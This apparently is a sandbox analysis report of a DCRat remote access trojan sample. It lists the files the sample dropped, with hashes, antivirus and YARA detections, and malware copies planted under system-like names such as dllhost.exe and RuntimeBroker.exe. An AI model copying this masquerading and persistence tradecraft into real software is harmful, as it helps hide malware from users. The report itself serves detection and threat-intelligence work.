Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."...................... ... ....@.. .......................`......a.....@.....................................K.... ..p....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...p.... ......................@..@.reloc.......@......................@..B........................H.......T...l7..........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x34e5a953, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221805352803635
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	A625944EC35CFD81B9D9B11DDDEDC082
SHA1:	14C2E0441CF101589081DD85659B387B590BEC4D
SHA-256:	04AC014661E1535998C649266ABBDE02E8D6E9E96E420152CED702B50F9A58F9
SHA-512:	1EF89CD908708D0022C594C42950BFAE11850CD7D448BC0076E0EAD02C7506E90FC927F04E44EB4056BE2B462EFEBCD1D2F41CE02F3284375396702C12FC34E6
Malicious:	false
Preview:	4.S... .......A.......X\...;...{......................0.!..........{A......\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................m........\|...................?.......\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\Users\Default\5940a34987c991

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	ASCII text, with very long lines (440), with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.860491524844753
Encrypted:	false
SSDEEP:	12:1tDE571TYAyJ98NcYM1c35jlnQwnFgTxBui2twpn:nEbYb8NVMcpjpRgT/92tYn
MD5:	71644F9F9520A4C076E57BBBFCF99D57
SHA1:	C70A702355F7221DC85684D2236E33F9F9ED7F99
SHA-256:	C27955010EBC4FE03C0368A4B1E8BCAA4A979C3422672A4DCC635F46E05BEE00
SHA-512:	263F9D12AB0703F754C3B3C0EDFABE603EB09B84B23499F9556F354B898C4257A7A0188EFB9D924925F6D20ECCEFAED65BA89E50E4C29442291DF9987E634EBD
Malicious:	false
Preview:	B7Q61rYdEidA3PviwhVtZ8j0nyAq8msY74qKvEJI4DhGR07ogcuHuhBDYaTDqrec0ED8jkxrXNyVacix0WKf2koa2mwVvGcNiFPMw8E5pCthsqm61fNTh9kQanG6yb6RvlwVNWA1ROzz1GrM90dP3Ipjf9vJ2IHNGbwG3RsffVBSJuYU53688qYm6NzNk18JHlsaUlTrH8uhGWaulbN9LJPaDJKpcf5oX2LhC8AUkP1960fjwFmIn888WRXKbnPlDFKOL3rmb3Z6RQeMok3X2wAY4NLul0279P60qRY3X9rujBqFxLg0u2sRFwU7s7BlAc6CTnfWM9A2EQy2hF6aUCMHgpv46aLZ8GtHEnwKpJnu2zMy7cZmAlQ8Pzfo2lavxk47gqx3TwuLYcOqc66eAiZXzv2PIHRDs26S5OSRogTN0FkwkyL6p5uP

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\9e8d7a4ca61bd9

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	ASCII text, with very long lines (994), with no line terminators
Category:	dropped
Size (bytes):	994
Entropy (8bit):	5.9120538080266
Encrypted:	false
SSDEEP:	24:CSeYJ3m4w9AAQiSZVH7L5TZZgB9eqD6gRzN97Zdmn:D3qiAQpVHhgB9og5o
MD5:	227BB30A0BE3711C03EEC3D42D4F22B4
SHA1:	70A61D0F41081A1218B413755A8EDF3A13C622AD
SHA-256:	524EFA499F69BBFDC5CC815A477D1A3D2E2372AE5E6E97EDF88881DBA898F35D
SHA-512:	1B9EB41B0AECBE7053A3BADE4E69EFEEA430453BD83B9B313D3DFE0788A0726861D529E3A281ACA6088E615DE0220A6D6AA873D3291C21F3594555DC1B31F5B4
Malicious:	false
Preview:	SuuZRncWkekT1LmX7fR6La5Fmo20uTXzTWsAaM8PMzBZ0yUDkQA1c9y1ypwnumlQHvAfdm6vhCtVZgOyTyQeTfXTh0LvZVekNuRFyzk7TPUZQccSa8T5VH7lXq7nbLVMhJIoOJ9eOSKDL7DEX2UaBjOGxprH17gI3I2HUxEQ9zrD63aan2Pi05K84C1ic1mRvCKCE6ujxEaM2LJ3OQe8r7S774MS6gyHNZR4sYVqIpuwe7Fs27TLWnjytMEKtcnRQT9c4OK04x0BNgdAyeZ9MmujzdLgTL7qCdfL7nxowcRiwikNtEWPCnFoiZnbDoht0K8tARCLqvMtVMxR27wOzsnZY1niAWlH5hsmj1NbCKiRbVTWmVjF1S4HgjVIoeLUJEyxdKrAuUMoKW7CiR5owfPmmkGAfExh9NHWgf2coiVhGQ7JlTjXjgioyLL3Erfphoo6OlfDYcANJsgWm6YMea8cpdhVU9Y6Dq9blB5Axg8GgUeFpyQHSTKGpMQvDKsZEDKdtEvlBYZ8b26V9bpfsQotg2wZuK6myjCcJBWlDpG34MpxP4vmfMqxZb70RW01cwJ20dM8FDcDKuzTN9JzYUHl2ODsDgTqzPbHCw6vsxgbunnolnmSMAdIpi9mae4iuvN4SrRbCXHkxp1OkYGa3AezwTcdwUVO38r8ZtV4VLQz22U9rvBBXdotRYI9PxorC2qz73y1CMEstp638cwBTT0ZT8qBkWoihjw9MfCy6J9LZ69mcOBwBmYsCRf9MxQqhgKK26rca7FJUpAW8DjWV2g4KD75AClI3To2vzuggiWDhOYXQJBJO4Up9Q9y8wcXW6QBBHkJTCzxgdX6pko0Ac49883fz5huF8rk8XWJi2zLEhJg3DJYHmW4CQCCOETYfFrhww7SNfRIms4azWmwwImdlwhrUU4ejbp90luGG1KmUORTWmM2chlWcN69OP73kxjLD5kOlfp489JXfNVsICBBzTgmpv113R

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1765888
Entropy (8bit):	4.854087157519451
Encrypted:	false
SSDEEP:	24576:F++ksiBq+c3iE0nTAWPl4Eor/MugdeRIL6t+:o+knq+c3K0T7k
MD5:	37D00592110CA3CC53B7F6CA6AB1C82A
SHA1:	86E13C84C33969081FE59D123E3CF81E9B3E5674
SHA-256:	5ACD08CC77F1CEBD2CB95F88B37EDF94B9E72B9B1C965AF7EA2766E9DDC5AFB9
SHA-512:	618EEAEC0AC5390184A3B6195634CB16D3DEF1D2AC8AB3664B3128A4E4776DDA7777E6C2AEDF138A6F8E9B7F6F84FC58C38F89D9178B220443567E0C55E0BBCD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."...................... ... ....@.. .......................`......a.....@.....................................K.... ..p....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...p.... ......................@..@.reloc.......@......................@..B........................H.......T...l7..........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\Default\dllhost.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1765888
Entropy (8bit):	4.854087157519451
Encrypted:	false
SSDEEP:	24576:F++ksiBq+c3iE0nTAWPl4Eor/MugdeRIL6t+:o+knq+c3K0T7k
MD5:	37D00592110CA3CC53B7F6CA6AB1C82A
SHA1:	86E13C84C33969081FE59D123E3CF81E9B3E5674
SHA-256:	5ACD08CC77F1CEBD2CB95F88B37EDF94B9E72B9B1C965AF7EA2766E9DDC5AFB9
SHA-512:	618EEAEC0AC5390184A3B6195634CB16D3DEF1D2AC8AB3664B3128A4E4776DDA7777E6C2AEDF138A6F8E9B7F6F84FC58C38F89D9178B220443567E0C55E0BBCD
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\Default\dllhost.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.........."...................... ... ....@.. .......................`......a.....@.....................................K.... ..p....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...p.... ......................@..@.reloc.......@......................@..B........................H.......T...l7..........................................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\decFF62.tmp.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\decFF62.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1915
Entropy (8bit):	5.363869398054153
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkrJHVHmHKlT4vHNpv:iq+wmj0qCYqGSI6oPtzHeqKkt1GqZ4vb
MD5:	B3D8CC65029ED629D3371F6862D653E0
SHA1:	9D3D093780ABCE0D0DC0CDCE5EBE8E77BCEDC621
SHA-256:	83F3CDA23DB0E9B53FDDA654446707DDE6F92D4566938AE499471C701F88C245
SHA-512:	3ED07C087E69A317D904D2E73E024B561AF2B92F273B30CB9B748D3B4D20B502CC32322EDA60F46A4AAE5A030FBBE3C39F73A06BC5415DC26BFCF59273CFC7BF
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\dllhost.exe.log

Download File

Process:	C:\Users\Default\dllhost.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\kzyTFNNJbez.exe.log

Download File

Process:	C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\services.exe.log

Download File

Process:	C:\Program Files\Windows Portable Devices\services.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\09G6xPLHqU

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0XXyAKh86G

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0a1CxWnOlM

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0g0o7pPpGS

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0h842ROJDx

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\14XCjZfr4h

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\1JawDghxYp

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1YQqIT05wB

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1gxtdjA0sx

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1tvSvoLSf1

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
